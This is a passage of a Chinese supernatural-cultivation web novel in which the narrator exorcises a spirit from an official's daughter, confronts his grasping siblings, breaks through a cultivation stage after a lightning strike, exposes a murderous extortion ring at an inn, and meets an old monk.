王远搓了搓手指,看样子有点紧张,他习惯地四处看了看,于是才小声,“大侄子,这次的事有点麻烦,我一哥们,他是哈城那边的区头,他家就那么一个女儿,本来好好的,但在十年前不知道咋了,突然就像变了个人,原本挺活泼的小姑娘,突然就不爱说话了。原本吧也没啥事,但这姑娘这两年很不正常。”
区头,这种人身份已经很不一般了,可见王远的资源,真的很不简单。而听到了这里,我问了一句,“怎么个不正常。”
王远这次搓了搓手,“一开始听我这朋友说的时候,是他跟他老婆做那事,他发现这姑娘偷听偷看。然后他撞到了,教育了几句。结果,那孩子斜眼看他,那眼神不像人。当时给他吓了一跳。在那之后他发现,他做什么事,他姑娘都会偷偷打量他,被发现了以后,还会笑,但那笑容跟僵住了一样,根本不像人在笑。”
闻言,我低头思量,这玩意怎么像老爷子笔记里面说的皮子上身呢?
但笔记上写的是,皮子上身,行为异常,鬼鬼祟祟,少则一白昼,多则一年。十年?有点不符合。
“还有吗?”我虽然是方士,但实际上是野路子出身,而我从齐市回来以后,我学了大量相关的东西,但依旧是野路子。
所以我做了一个决定,实践出真招,既然走这条路了,那就要去实践,把野路子变成一个道统。
因此我才没有像之前那样凭感觉去做事,先去了再说,而是问得非常详细。凡事,先思后行。正是因为这个决定,才成就了后来的我。
“有,我前些天去了朋友那,见到了那姑娘,我只说我看见的,一开始吧,我也没觉得那姑娘有什么不对。她热情,对我很礼貌,我跟朋友聊的时候,还夸了几句。但朋友却脸色难看,说我看到的都是表面,等我一抬头,发现那姑娘坐在卧室的床上,用一种古怪的眼神盯着我,有点像,猫头鹰看东西。”
……
第四十章清官难断家务事
王远一边说着一边盯着我,眼睛里带有惊恐。
我还是保留之前的想法,觉得他说的这事跟皮子上身有点像,但具体怎么样,还是需要看到那姑娘才能知道。
我们又聊了几句相关的事,按照王远说的,那姑娘有时候像个正常人,但有的时候会躲在屋里面哭哭啼啼,谁说话像是听不见似的。
我答应过去看看,但眼下要过年了,所以约着年后去。而王远这人也懂事,直接给了我两万的订金,我没客气收下了。
他跟我爹打了个招呼走了,等我回到家,全家人的脸色都非常难看。我二哥上来指着我的鼻子骂我,“冯宁,这个狗东西,凭什么给大哥五万,给我两万五?你得把钱给我补回来。”
说完,我二哥一把抓住了我的领子,恶狠狠地盯着我。
我大姐、大姐夫也死死地盯着我,那眼神像是雄狮看猎物似的,我大姐也叉着腰怒视我,“老幺,你有没有把我这个大姐放在眼里?分家这么大的事,居然不告诉我。从小到大,我有一块糖都要留着给你,结果可倒好,你这个白眼狼,有钱了也不跟我说!我不管,我要我那五万!”
我爹气得脸色铁青,指着我二哥骂不孝子,“老二,你把老幺给我放开,你想气死我。”
我娘也说,“老二啊,当初是你要分的家,你还立了字据,再说了,那可是两万多啊,你怎么还跑家里来闹。”
在所有兄弟姐们当中,我娘最喜欢的就是我二哥,她觉得我二哥机灵。
然而他上去阻止我二哥动手的时候,却被我二哥一把推开了,好在我娘被我爹给接住了。
我冷冷的看着眼前发生的一切,火气蹭蹭地往上涨,但我尽量压着怒火,“把手放开。”
结果,我的忍让换来的是我二哥的变本加厉,他扯着我的领子的手更用力了,面目狰狞,“你答应把钱补给我,我就放开。你要是不答应,我抽你!”
说完,我二哥抬起手就要动手,而他的这个举动,也把我的怒火彻底的勾了起来。
我一把抓住了手腕,另一只手一巴掌把他抽翻在地,而这一巴掌,全家人都愣在那。
看到他们都安静了,我整理了下领子,先是走到了大姐大姐夫面前,我冷冷的看了大姐夫一眼,之后又看向了大姐,“大姐,我怎么记得当年爹娘给我糖,你都给抢走了呢?是我记错了吗?”
我冷笑,大姐真的是撒谎眼睛都不眨一下,当年她身为大女儿,家里但凡有点好吃的,她都拿最多的,甚至还要抢我们的。
当时家里面,一个二哥,一个她,家里面都向着她们,好吃的,好穿的,都要可他们来。
而在我的那八年里,她嫌弃我是个傻子,我跟在她身后,她叫我滚,甚至拿石头砸我,把我脑袋都砸出血了。
她说得最深刻的一句话,我到现在都记得,她跟大姐夫说有我这种傻子弟弟,是她这辈子最丢脸的事。
闻言,我大姐目光闪躲,但依旧嘴硬,“老幺,你胡说什么。”
我冷笑,又看向了大姐夫,一股厌恶感由心而生,“大姐夫,我几年前去你家,你因为工作上的事烦心,然后看我不顺眼,扇我巴掌的事还记得吧?”
那应该是四年前,我爹娘有事去哈城,临时把我寄托在大姐家。结果,我在他家就待了半天,他就一肚子怨气,说我是去搅合的,还因为他的工作不顺心,狂扇我巴掌十几下,还一脚把我踹飞了出去。
而后来这种事也是经常发生,因为我是个傻子,所以他很容易糊弄过去。
果然,提到这种事,我大姐夫直接紧张了。他在我们当地的铁路工作,哪怕如今下岗潮,人家也是正经八百的铁饭碗。而前两年提了后勤副主任,在我家的地位也就更高了。
听到我的话,我爹娘的脸色复杂,我爹直接握紧了拳头,颤抖地指着我大姐夫,“冯宁说的,都是真的?援朝,我家对你不薄啊,当年你家穷的叮当响,我特么地说过一个字吗?我特么把我两个月的工资交给你,让你跟我女儿结婚,你就这么对我儿子,啊!”
我爹那张脸涨红,气得浑身都在颤抖。
谁知道我大姐却来了一句,“爹,你不也总打老幺嘛,你不也嫌弃他是个傻子吗?”
闻言,我爹眼睛都直了,吐沫星子直飞,“那是我儿子,我生他养他,我打他行,你们算什么东西,你养过他吗?你把他当你弟弟了吗?”
这是我第一次见我爹发这么大的火,我内心有种说不出的滋味,有些感动吧,但又很凉薄。
我看向了我二哥,他还倒在地上,用一种怒意在盯着我。
“二哥,该你了。小时候娘给我买新布鞋,你跟我要,说要去集市给自己换一双。我不给,你打我,后来看拗不过我,往我鞋子上撒尿,这事有吧?”我的情绪逐渐平静了下来,而我说的这件事,可不是当傻子那八年的事,而是一直以来我二哥的所作所为。
“我……”我二哥语塞。
“怎么了?二哥你不是向来心直口快吗?怎么不说话了?还有很多事,用我在继续说吗?”我问。
我二哥低着头,这次也老实了。而就在这时,二姐和二姐夫赶了回来,一进来二姐一把拉住了我的胳膊,怒火地看着二哥大姐他们,“大姐,二弟,你们是不是又欺负老幺了?”
对于二姐的举动,我感觉很温暖,其实我身上发生的事,二姐是最清楚的。因为每一次,都是二姐帮我出头,她比我娘还要像娘。
全家都不说话了,突然这么僵持,我拉过了我二姐的手,冲她笑了笑,“二姐,你怎么突然来了?你跟我姐夫不是要去考察吗?”
二姐和二姐夫两人也都没有工作,她们之前一直给人打工,这两年在黑城的百货商场开了个服装店,生意还算不错。
最近听说要去南方学习,弄点潮流回来,具体去没去我就不知道了。
“刚回来妈就打了电话,说家里闹起来了。我怕你吃亏就赶过来了。老幺,是不是他俩又欺负你,你放心,我跟你姐夫都商量好了,姐养你。”我二姐说着,她的眼神变得有些不对劲,用一种诧异的眼神盯着我。
而我二姐夫也诧异地看向我,“冯宁啊,兄弟啊,你说话正常了啊。”
……
第四十一章这人趾高气扬的
我也没解释,而是回屋拿了五万块塞在了我二姐手里。
我二姐二姐夫都傻了,她们虽然做买卖的,但五万块可不是个小数目,跟我大哥当时的反应如出一辙。
“二姐,这钱是给你的。”我说。
“这,这,冯宁,这钱我不能要,我跟你姐夫有手有脚的。再说了,你还要娶媳妇,置办房子啥的,到时候都要钱。拿回去。姐不能要。”我二姐摆了摆手。
“兄弟,听你二姐的,把钱拿回去。我们现在生活也还行,不能拿你的钱。”我二姐夫也点了点头。
我摇了摇头说道,“二姐,二姐夫,从小到大,你们俩对我最好。我记得那年被人欺负,是二姐夫你拿着铁锹替我出头。这钱,你们必须拿着。”
不等二姐他们反驳,我又看向了大姐和二哥他们,直白道,“谁对我好,谁对我不好,我心里很清楚。有些人也不用揣着明白装糊涂。”
说完,我把二姐拉到了我屋子里,随后拿出了一个布袋子让她看。
二姐惊呆了,差点没有叫出来,她强忍着震惊小声道,“这里面有几十万了吧?”
我笑着说道,“所以,钱你就收好吧,你弟弟我孝敬你的。”
我二姐笑开了花,掐了掐我的耳朵说道,“哼,以前二姐总说你是小没良心的,二姐错了,你是最有良心的。行,二姐收下了,我从南方回来,看中了很多款式,正好愁着没钱进货呢,托你的福,二姐谢谢你了。”
真正的亲情,那是打碎骨头连着筋,我也没在矫情。
至于大姐和二哥他们,见我一分钱不给,灰溜溜地走了。之后因为这件事,连过年都没来。
也因为如此,我爹有点记恨我二哥,时不时的就说他是白眼狼。
很快,新年在不知不觉中就过去了。说来也奇怪,从一月份开始就盼着过年,等新年来了,感觉像是没多久一样,一下子正月都过去了。
而我这边,王远又来了,他要前往哈城,问我一不一起去。我知道他在催促我,而这几天我隐约的有点不安,总觉得要有什么大事要发生。
我以为是王远委托的这事闹的呢,索性答应了,一同前往了哈城。
我们坐的火车,去的路上我得知,王远还真不是催促我,他从印刷厂调到了哈城被服厂,顺便来问问我。
得知他升为厂长,我倒是客气道,“恭喜王叔了。”
闻言,王远叹了口气,“大侄子,你就别笑话我了,之前你父亲的事,我真的很抱歉。我也是没办法。”
我表示理解,“王叔,在其位谋其政,对吧?”
王远怔了怔,随后笑道,“大侄子,要不是知道你没上过学,就冲你这一句话,我都认为你是大学生。大侄子,王叔送你一句话,希望对你有用。”
我说,“愿闻其详。”
王叔叹了口气,“大侄子,身在局中,即便看透了,也不能免俗。即使清醒,也入迷。所以,任何事都可以半醉半醒,而任何事,只要做了,就要坚定不移。要么,就不做。”
闻言,我说,“王叔,这就是你为什么会做决定的原因对吧?”
王远没瞒着,而是点了点头,“大侄子,虽然你有本事,但你王叔,也有利用价值。以后要是需要帮忙,你一句话,王叔绝不推辞。”
我笑了笑,“好,那就谢谢王叔了。”
而就是从这一刻开始,我和王远一笑泯恩仇了。但也因为如此,后面我才知道我的做法多么正确。王远的能量,比我想象中的还要大。
早上坐的车,下午才到哈城,这是我第一次来到哈城,那异域的建筑风格,给我留下了很深刻的印象。
然而,我来不及欣赏,跟着王远就来到了香区的一处二楼大院。在这大院门口,还有警卫站岗。
一进门,就看到一个体格健硕的中年人走了过来,看到王远他上前招呼,在看到我之后,他用一种近乎漠视的眼神打量我。
“安哥,他就是冯宁,我跟您提起的大师。”王远介绍我。
“哦,你就是小冯啊,听是有点本事。”安国强瞥了我一眼,淡淡的点了点头,对我的态度有点不冷不淡。
我没什么反应,拿人钱财与人消灾,我比较直接道,“能看看当事人吗?”
闻言,安国强不屑地笑了笑,“你倒是很快进入到了工作状态嘛。小王啊,一些规矩,你跟他说了吗?”
王远怔了怔,赶忙说道,“说了说了,这事不能外传。”
完事,王远一个劲地给我使眼色。我内心笑了笑,在我们那,王远只要站在那,保证有人上来点烟,如今呢,他却这副姿态,倒是让人意外。
至于这些话,他还真没给我说。当然,我也不是那种多事的人,我从口袋里拿出了一柳条,在上面撒了些土。
这些土是我们那庙里面的土,这是我最近悟出来的驱邪法子,叫做‘柳条抽妖魔’。
我认为那姑娘身上应该是黄皮子上身了,这法子很管用,一抽一个不吱声。
安国强见状,脸色有些不是很好看,但碍于面子,他也没问。
安国强带我们上了二楼,之后在二楼最里面的一个房间,他用钥匙打开了门。
我眯了眯眼睛,对于这个举动有些诧异,谁家好人在家的时候把自己闺女锁在房间里。
正想着呢,卧室的门被推开了,一阵恶臭袭来,吹得辣眼睛,我屏住呼吸,朝着卧室里面看了过去。
房间里窗户被木条封死,里面贴着符箓,桃木剑,八卦镜等等的。漆黑的屋内,一道消瘦的身影坐在那,老老实实,一动不动,正用一双眼睛打量着我们。
我的第一个反应是,这是个什么东西?真的是黄皮子吗?我怎么觉得有点危险?
“小冯啊,你看出什么来了吗?”安国强不咸不淡地问我。
我没说话,我还在观察这姑娘的举动,见此,那安国强盛气凌人的说道,“哼,又是个江湖骗子,行了,你可以走了。”
说完,安国强也没锁门,大步往楼下走去,而一旁的王远也不敢吱声,拍了拍我的肩膀,“冯宁,那我们就走吧。”
闻言,我皱了皱眉头,对于安国强的举动,我有些不爽,这人腔太足了。
既然如此,我也不打算继续看下去,刚要转身,那女人却突然笑盈盈的说道,“有点意思,还准备了庙里面的黄土,抽皮子用的柳条,你有些本事。但在本仙家这,还不够看,快点滚。”
说完,她嘴巴长得老大,那样子像是一口能吞掉一个皮球。
我愣了愣,心想,这是遇到大家伙了?不是皮子上身,而是……夺舍!
……
第四十二章世间有阳便有阴
当然,我这也是猜测,但仔细观察又觉得不太像,我被夺舍那会,整个人痴痴呆呆,迷迷糊糊,没像她这样,居然能跟我互动。
原本我是想走的,看她显露了真身,总觉得她是虚张声势,故意要把我吓唬走。所以我停下了脚步,看着手里面的柳条子,想抽两下试试,感觉会有效果。
“还不滚?”这姑娘又说话了,恶狠狠地盯着我。她这次没有张大嘴巴,而是一个清秀的姑娘模样,唯独眼睛发红,看上去有些渗人。
“你是黄皮子?”我也不怕,这家伙的气息虽然很强,但跟老阴山的那山尸比起来,那真的差远了。
那玩意让我觉得毛骨悚然,它顶多算是气息比较强。
“你才是皮子,你全家都是皮子,老子是真仙。哼,小东西,趁着我还没发火,你最好抓紧滚。看到地上的这些玩意了嘛?那都是道人的法器,连他们都奈我不何?你一个毛头小子,想死吗?”女人死死地盯着我,她突然露出了一口獠牙。
“你不是怨气,也不是能量,而是附身。”我突然想到了老爷子笔记里面的一些记载。
世间分阴阳,如同人分男女,有阳间,就有阴间,两者密不可分。
人间的生灵有好坏,阴间的也有好坏。有些得道的生灵耐不住寂寞,阳间的向往阴间,阴间的向往阳间,往往造成了大麻烦。
其中,阴灵附身,便是最大的麻烦之一。他们贪图享乐,赖在人身上不走。而早些年因为这种事,衍生了驱魔师等职业。柳条抽鬼,越抽越矮,便是这样来的。
听了我的话,这家伙果然有点慌了,她眼神闪躲,下意识地看向我那柳条子。
我笑了,“是你自己滚呢?还是我动手呢?”
说实话,这次真的就是瞎猫碰上死耗子,我本来是给黄皮子准备的,结果可倒好,对这玩意也有用。
有关柳条子抽鬼神的事,方士的记忆里也有说法,但是一个宏观的说法。
我们方士的祖师爷认为世间分九天十地,九天,叫做九重天,从低级到高级的九个空间。十地,乃是佛,道,神,魔,仙的所在道场,便是九重天的生灵向往之地。
这些地方相互制约,唯一互通的地段是桥梁,但在古时候,桥头都有柳树。因此,柳树被认为是人间祭祀,有了愿力,连神魔都要敬重三分。所以柳条抽的是神魔,但在民间传久了,就成了柳条子抽鬼。
“你大胆!”姑娘眼睛更红了,她突然张开血盆大口,那样子像是要把我一口吞进去似的。然后,就看她朝我扑了过来。
我眯了眯眼睛,更加确认她是在恐惧,二话不说,拿起沾了土的柳条子抽了过去。
“啊啊啊……”一柳条子下去,这姑娘身上冒起了一道岩浆色的裂痕,被抽得嗷嗷叫。
真有用!说实话,我有被爽到,完全是忍不住又来一下。抽得这姑娘一蹦跶,龇牙咧嘴。
“你,你特么抽上瘾了?”姑娘咬了咬牙,看到我手上的柳条子胆怯。
“真那么疼吗?”我没忍住问了一句。
“你,敢羞辱本大仙!”她气得脑袋涨了起来,但又不敢靠近我。
我纯粹是奇怪,这玩意就是个普通的柳条子,然后加了点土,结果劲这么大。
“还不快点从她身上滚,要不然,别怪我不客气。”我攥紧了柳条子不想再留手了。
“你,爸爸,爸爸。他用那柳条子抽我。”结果,我刚要动手,她一溜烟地窜了出去,然后冲入了不知道什么时候又回来的安国强怀里。
说完,她还把身上被抽的伤痕给安国强看。
“我不是让你滚了吗?你对我女儿做了什么!警卫呢,去,叫警卫进来!”安国强心疼地看着他女儿,眼睛都要冒出火来了。
王远也跟了回来,见到这一幕,一脸紧张的说道,“冯宁啊,到底出什么事了,你怎么拿柳条子抽人呢。”
我看向安国强的女儿,在别人眼里她楚楚可怜,然而在我眼里,她正朝着我得意地笑。
“她根本就不是你女儿,我在救你女儿呢。”我说。
闻言,安国强和王远面面相觑,但安国强明显不信,“哼,救人?也不用拿柳条子抽人吧。你肯定有点大病,这事没完。”
说完,几个警卫就冲了上来,看我的眼神非常锋利,冷漠如刀。
“我说的都是真话,你怀里的这个,她根本就不是人。而是一个贪图人间的阴间生灵。要是在不把他赶走,你这辈子都见不到你女儿了。信不信,你决定。”我的话半真半假,因为我已经发现了,要是我说得不严重,他不会当回事。
果然,安国强的眼神有了变化,他看了看自己女儿,又看了看我,朝着身后的几个警卫喊道,“你们先下去吧。”
几个警卫脸上没有任何情绪,点了点头走了。安国强像是下定了决心,看着我说道,“你最好说的是真的,否则的话,后果自负。”
说完,安国强推开了女儿,站在了一米开外。
“爸爸……”这姑娘脸色一变,想要求安国强救她。然而,我哪里会给她机会,上去就是用柳条子猛抽。抽得她惨叫连连。
大约过了十分钟,我看到那东西从姑娘的体内跳了出来,巴掌大小,像是个小纸人,狠狠地瞪了我一眼就要跑。
这小玩意跑得特别快,一溜烟就跑到了楼下,我也不废话,口中默念‘行’,几步就追了上去。一只手使用道力,一把就抓住了它。
“你,你,你到底是什么人,怎么会缩地成寸?难道你是天师府的道人?”那小纸人惊恐地盯着我,那如蚂蚁的眼睛,眨巴眨巴的。
我没说话,它更加慌了,“道爷,道爷,小人乃是阴间的生灵,一时间贪图阳间的吃喝,这才犯了大错,求您放我一条生路,放我回去,我不想死。”
我很认真地说道,“那你怎么回去呢?万一你骗我,继续在这害人,还不如把你烧了,一了百了。”
在我眼里,它现在就是个纸人,而最好的办法就是用道力和火把它烧了就好。
这让我想到了那个死在我手里的山魈,我也明白了我当时为啥会心情复杂了。因为灰飞烟灭,那就是真的消失了。
……
第四十三章我见到了摆渡河
听了我的话,小纸人惊恐地跪在我手心求饶,“道爷,道爷,别,千万别。我这元神要是被灭了,我就真的不存在了。道爷,您信我,从这出门大约五百米,那有人会收我的。她会把我送往阴间,绝不在出现。”
闻言,我有些意外,却不为所动,“我觉得浪费时间。”
说完,我手中道力再起,想要直接灭了她。小纸人吓哭了,朝我喊道,“道爷,我给您好处。”
小纸人一边喊着,一边用嘴一吹,手里立马多出了一道黑色的莲花,随着莲花脱手,那莲花越来越大,落在了我手里。仔细观察,我竟然觉得有些熟悉。
这不就是陆小旺头上的那个莲花吗?只不过那个是金色的。
“这是什么东西?”我疑惑,但手上的道力没有丝毫减弱。
小纸人表情复杂,“道爷,你特么不认识吗?”
我皱了皱眉头,还敢骂我?
她感受到了我的火气,立马说道,“道爷,这是阴莲花,俗称愿力花,有了此物,你可吸收愿力为己用。”
“这东西是不是跟佛坐下的莲花一样?”我问。
“对,佛莲花,也是阳莲花,一样的东西。”它说。
“你怎么会有这种东西?”我疑惑。
“道爷,这世间有九重天就有九种愿力花,生灵们信有信佛的,自然也有信其他的。我本是人间一武将,死后被立了庙,意外成为阴间生灵,所以成的是阴间大仙,得了道,自然就是阴莲花。”看得出来,他很头疼,同时脑子里也是一大堆的疑问。
我知道他在想些啥,为啥我什么都不懂。
“怎么用?”我又问。
“只需要道爷你把道力注入进去就好。”它可怜巴巴地看着我。
我尝试了下,随后陷入了一种很奇妙的状态,但这是一种好的状态,我觉得自己的灵魂得到了舒展。
等我醒来,我突然就明白了,这是滋养,用这种愿力来滋养自己的元神。
既然拿了人家的好处,我也没赶尽杀绝,用道力把它包裹住放在了兜里,等会准备去它说的那个地方。
这边刚抓住这小纸人,安国强和王远他们加快脚步赶了过来,在安国强的身边,那个姑娘已经清醒了。
“大师,大师,我为我刚才的所作所为道歉,还请大师原谅。”安国强走了过来,朝我伸手感激。
“人应该没事了。”我平淡地看了一眼安国强,没去握手,倒是又打量了那姑娘一眼。
安国强的女儿个子高挑,应该有一米七,她有着漂亮的五官,看上去很灵动,放在大学校园里,妥妥的校花。
甚至我觉得她要是打扮打扮跟黎雅都有的一拼。
随后我得出了一个结论,权贵富商人家的女孩子,真的没有丑的。权钱都养人啊。
“没事了,刚才孩子都跟我说了,它被控制了,但发生的事都清楚。她也没受伤,您那真是抽鬼的。太神奇了。”安国强惊讶道。
“冯宁,这事你真不能怪安哥,这些年家里来了不少道士佛子,结果都是骗钱的。”王远也上来打圆场。
“拿人钱财替人消灾。”我淡淡的说道。
“哎呀,你瞧我,十万,五万配不上大师的本事。”安国强急忙又拿了几沓钱塞给了我。
之后,安国强说摆几桌,给我介绍一些人认识,但我拒绝了,不过安国强这个人我们也就认识了。
事情办妥了,我也没在继续留下来的意思,直接带着钱就走了。
从这边离开,出门五百米,我见到了小纸人说的地方,那是一家食杂店。
而它说的那个人,是那食杂店的老板,一个约莫二十三四岁的女人。
见到我,原本还在嗑瓜子的女人,扑棱一下就站起来了,她审视我,半天才说话,“你是道士?”
我点了点头,“算是吧,这小纸人你能送走吗?”
我说完就把小纸人露了出来。
她惊讶,“武将供奉?你很不一般。”
我不知道她在说什么,而是疑惑,“你怎么把它送走?在你身上,我感觉不到一点的愿力?”
她笑了笑,随手把食杂店的门关上,然后点了一炷香。下一秒钟,原本还是杂物的食杂店,四周突然成了一个码头。
周围阴阴森森的,天空乌云密布,码头前方是一条河。
而这女老板也摇身一变,成了一个女渔夫的形象,连我身边的小纸人,都突然成了一个穿着盔甲的女人。
“你能看到摆渡河?”她惊讶。
我点了点头。
她深吸一口气,这才说道,“我不需要愿力,也不需要神力,我奉的是阴罗王的命,做的是摆渡人。”
这是我第一次见到摆渡人,也是第一次进入这种地方,而她在说完这话之后就把那盔甲女人带上了船,两人就消失不见了。
等我还纳闷该怎么回去的时候,我一眨眼,人已经站在了现实世界,那个女人也在盯着我。
“刚才那是什么地方?”我疑惑。
“那就是摆渡口,就是你站的这个地方,只不过一个是阳间,一个是通往阴间的码头。”她说。
“你是人?”说实话,我现在的疑问特别多,恨不得知道一切。
“是。”她点头。
“要是按照你这种说法的话,你摆渡走了,是不是也要去现实中的另一个地方?我明明看你走了很远,连身影都消失了?”我忍不住问道。
“按照思维来讲,是这样的。但,摆渡河里的时间是倒流的,船也是逆行的,你看到的是我回来的路,不是我去的路。”我还想问些什么,她摇了摇头,“具体的,我也不懂,我只知道这些。我们是传承,不是道统。这位道爷,请自重。”
我知道我问多了,但她的话像是有种魔力吸引着我。我总觉得哪里有问题,却又不知道是哪里的问题。
等我离开了食杂店,肚子有些饿了,想着找个地方吃点东西。结果刚出门,突然狂风四起,大雪纷飞,周围的一切都被这风雪刮得看不清楚。
这是什么鬼天气?我无语了。仗着自己是修道的,倒是能在风雪中前行。
轰隆隆。
走了大约半个小时,我莫名地来到了江边,此刻,这里已经天寒地冻,那江面白雪皑皑,看不到边际。
我听到了雷声?
我以为自己听错了,轰隆一声,一道雷直接劈在了我的身上,我根本来不及躲开,硬生生的被劈麻了。
随后,我脑子里突然冒出来了一个想法,雷劫?我渡劫了?
再然后,我就倒在了大河中间,被劈晕了过去了。
……
第四十四章刚筑基被仙人跳
等我睁眼的时候天已经黑了,但那漫天的大雪还在下,我依旧躺在冰天雪地当中,大口地喘着粗气。
我还活着?
我猛地站了起来,第一个反应是自己被雷劈了没有死,而后我检查自己的身体,发现竟然没有受到任何的伤害。
连一点的冻伤都没有。
我感到惊奇,这样的天,但凡是个人都要被冻死,结果我没事。想着,我往前迈了一步,结果差点没有站稳,我低头一看,脚下竟然是一个人形的坑,足有二十厘米。
“这不是我吗?”我深吸一口气,不敢相信,我猜测,这个坑是因为我晕倒之后,自身的体温烫出来的。
要不然,真的没有其他解释了。
肚子还是饿的,我在江边找了个面馆,点了一碗阳春面。面确实是热的,但该说不说真难吃,而且一碗要四块钱。
虽然不满意,好歹也填饱了肚子,之后我在附近找了一家旅馆住下了。
随着夜色越来越深了,窗外的大雪慢慢地也就小了。我仔细地检查着身体的每一个部分,我确定了,我渡劫成功了。
如今的我,感觉那道力如同浩海,取之不尽用之不竭。而在之前我已经无法吸收灵气了,现在却能疯狂地吸收,而且不管怎么吸收,都觉得远远不够。
一开始,我以为是错觉呢,但很快,我发现了原因。原本我丹田那是一片气海,如今却只有一滴液体。那些灵气进入到我丹田,就像是沉了大海,吸收了半天,也成不了一丁点的液体。
我忍不住惊叹,“这个方士的记忆有记载,筑基期,灵气液化,道力无穷。一旦达到这个阶段,才算是正式地踏入了长生之路。方士,修的是红尘长生,我已经迈进来了。”
说真的,我也不知道自己激动个什么劲,反正就是很激动。从一开始的成了方士,如今莫名其名的踏入了筑基期,我突然就有信仰了,修道望长生。
其实这是必然的,这会的我还不知道是怎么回事呢,后来就明白了。世间大道三千,每一条路都代表着一个关道。
方士求的是世俗长生,佛祖求的是佛法万丈,道士求的是羽化登仙,妖魔求得是一眼万年,人求平安健康,生灵求的是吃饱穿暖等等。
这些都是道,而大道三千只是个笼统的说法,其实大道还有各种的旁支,数不数胜数。比如我很快就遇到了一个老和尚,那也是我第一次遇到了个高人。
没错,他只是个人,却修了佛法万丈。而这也是我为数不多碰到的真和尚。
先说现在吧,大半夜的,我激动得有点睡不着,好不容易才平复了心情。
当当。
结果听到有人敲门,我皱了皱眉头,不太喜欢被别人打扰,但我还是去开了门。
结果就看到门外站着一个很清凉的姑娘,她化了浓妆,身上的胭脂味道很重。她上面穿得单薄,批了一件外套,腿上套着个黑丝袜,脚上踩着一双高跟鞋。
这行头,我只在一些电影情节上看过。
“姑娘,你有事吗?”我问她。
“小哥哥,包夜吗?三十块,保证你满意。”姑娘掏出了一支香烟点上了,那样子鬼迷日眼的。
“我已经开包夜了。”我一头雾水,心里面想的是,这家不会是黑店吧?半夜加钱?
“啊?哼,老板这个浑蛋,开了也不告诉我。”说完,这姑娘就进来了,顺带用高跟鞋把门给关上了。
“姑娘,你有事吗?你是不是冻坏了,想进来暖和暖和。”我疑惑,根本不知道这姑娘要干什么。而且,我本能地抵触这个女人。总觉得她不像个好人。
“你装什么装,你不是开过包夜了吗?”女人皱了皱眉头,不爽地盯着我。
“是啊,十块钱一晚上呢,死贵的。”我说。
“你,你说的是旅馆包夜?”女人睁大眼睛。
“不然呢?”我奇怪。
女人被我干沉默了,随后突然一把扔掉了披着的外套,指着我的鼻子说道,“哼,我不管你是装傻,还是真傻,三十,少一个字,我告你强迫我。”
这边话音落下,包房里的门就被开了,三五个大汉直接冲了进来,虎视眈眈。
“你们要干啥?”我皱了皱眉头。
“哼,干啥,要钱。”一个大汉说道。
“我没有。”我摇了摇头。
“他有,他肯定有。来的时候付钱我都看到了,他踹了五百多呢。”就在这时,老板走了进来说道。
我就算是没经历过什么事,我也明白,自己这是被盯上了。还真是一家黑店呢。
我深吸一口气,既然是找麻烦的,我没打算手下留情。我从怀里掏出了一张真话符,看了一眼那女人,随手就贴了过去。
“什么鬼东西?”其他几人愣了愣,看到那符箓烧成了灰,脸色一变,那老板惊呼,“这,这特么是什么玩意啊!”
接着我看那女人迷糊了,我问她,“你们是什么人?”
那女人,“我是隔壁舞厅的小姐。”
我问,“你们要干嘛?”
女人,“老板给我们打电话,说来了一只肥羊,能宰一笔。”
我又问,“除了我,你们还害过啥人?”
女人,“数不清了,老板经常这样干,之前,害死了一对年轻人夫妻。老板把她们尸体埋在了后院的树底下了。”
听了这些话,几个人明显慌了。那老板更是一把抓住了女人的头发,怒气冲天,“你,你胡说什么。”
而其他几个壮汉也都蔫吧了,显然他们也参与了那件事。
至于我嘛,倒是愣了愣,这件事其实就是凑巧,我本来是想着用真话符把她们吓走,没想到居然有命案。
“你们在干什么?”说来也巧,因为当时东北这边一些社会人员总在半夜闹事,巡逻经常半夜检查这些路边旅馆,刚好就来了。
那老板还想敷衍,结果我用真话符引导那女人说真话,听说有命案,两个巡逻立马就找人来了。
结果真就在院子后的树下挖出了两具尸体,事情闹大了,旅馆连夜关门,几个仙人跳的还有老板都被抓了,而我也因此被带到了派出所做笔录。
……
第四十五章老和尚
来给我做笔录的是一男一女,女的负责问,男的负责记录。他们俩一坐下来,相互看了一眼,然后用一种古怪的眼神盯着我。
我疑惑他们为啥这样盯着我,“两位,我啥也不知道。”
闻言,女的先说道,“那几个犯罪嫌疑人已经交代了他们杀人的事,也交代了对你实施的犯罪,他们想仙人跳,但没成功。”
我点了点头,“半夜那个女的来敲门,然后一堆人冲进来跟我要钱,就这么个经过。”
两人又相互看了一眼,女人试探道,“你,会道术?”
我直接否认,“不会?”
女人不死心又问,“那符怎么回事?那几个嫌疑人说,你用符箓,那女人才把杀人的事说出来的。”
我摇头,依旧不承认,“不知道,我就是吓唬吓唬他们,没想到那女人疯了。应该是偶然吧。两位,我真的不知道发生了什么,我现在很困,我想睡觉。”
女人咬了咬嘴唇,“应该是了。这个世界哪有那么神奇的事。好,谢谢您的配合。打扰了。”
我从派出所出来,这会天已经蒙蒙亮了。要说有时候人倒霉,那是真倒霉,出门没过十分钟,在路口就碰到了一个冻死的男人。
而这也是我第一次碰到老和尚,他穿着个棉衣,戴着个棉帽子,一只手握着那死者的手,嘴里面念叨佛经。
随后我就看到了那尸体中的一股能量飞上了半空,然后消失不见了。
“年轻人,你很不凡。”做完这一切,老和尚站了起来,他看了看我,来了这么一句。
“方丈,您也很不凡。”在这老和尚的身上,我看不到半点的愿力,这倒是跟那摆渡人有些相似。
但是这老和尚也没有法器,他却凭着念经就把那人给往生了,这不是谁都能做到的。
“哈哈哈,年轻人,还要麻烦你去报个警。我老和尚送你一个善缘。”老和尚慈眉善目。
“额……方丈为啥不自己去?”我笑道。
“麻烦。”老和尚随意道。
我大笑,觉得这老和尚很随意,不做作,对他很有好感,然后真的就去报了警。
之后又是那女人给我做的笔录,不难看出,她有些无语了,居然两次死人的事,都跟我碰到。
等我再次从派出所出来,老和尚在门口等我,他说请我喝个茶。这会天蒙蒙亮,反正也没地方去,我跟他走了。
大约十五分钟,我跟他来到了江边的一个院子小屋,地方冷冷清清的,但透过窗户就能看到冰天雪地的江河。
老和尚给我准备了糕点,四方形的,说是香酥糕,又沏了一壶红茶,很普通的茶,但喝起来很甘甜。
“五十年了,自从道家的人出山抗倭,道家七千子弟,死的死,埋的埋,断了香火的,断了传承地。几十年了,我已经好久没有碰到正统道家传人了。”老和尚吃了口香酥糕,又喝了口茶,朝我笑了笑。
“方丈,你就住在这吗?以您的本事,应该住在寺吧?”在我的眼里,这方丈能送人往生,就这个本事,起码也得是个住持啥的。
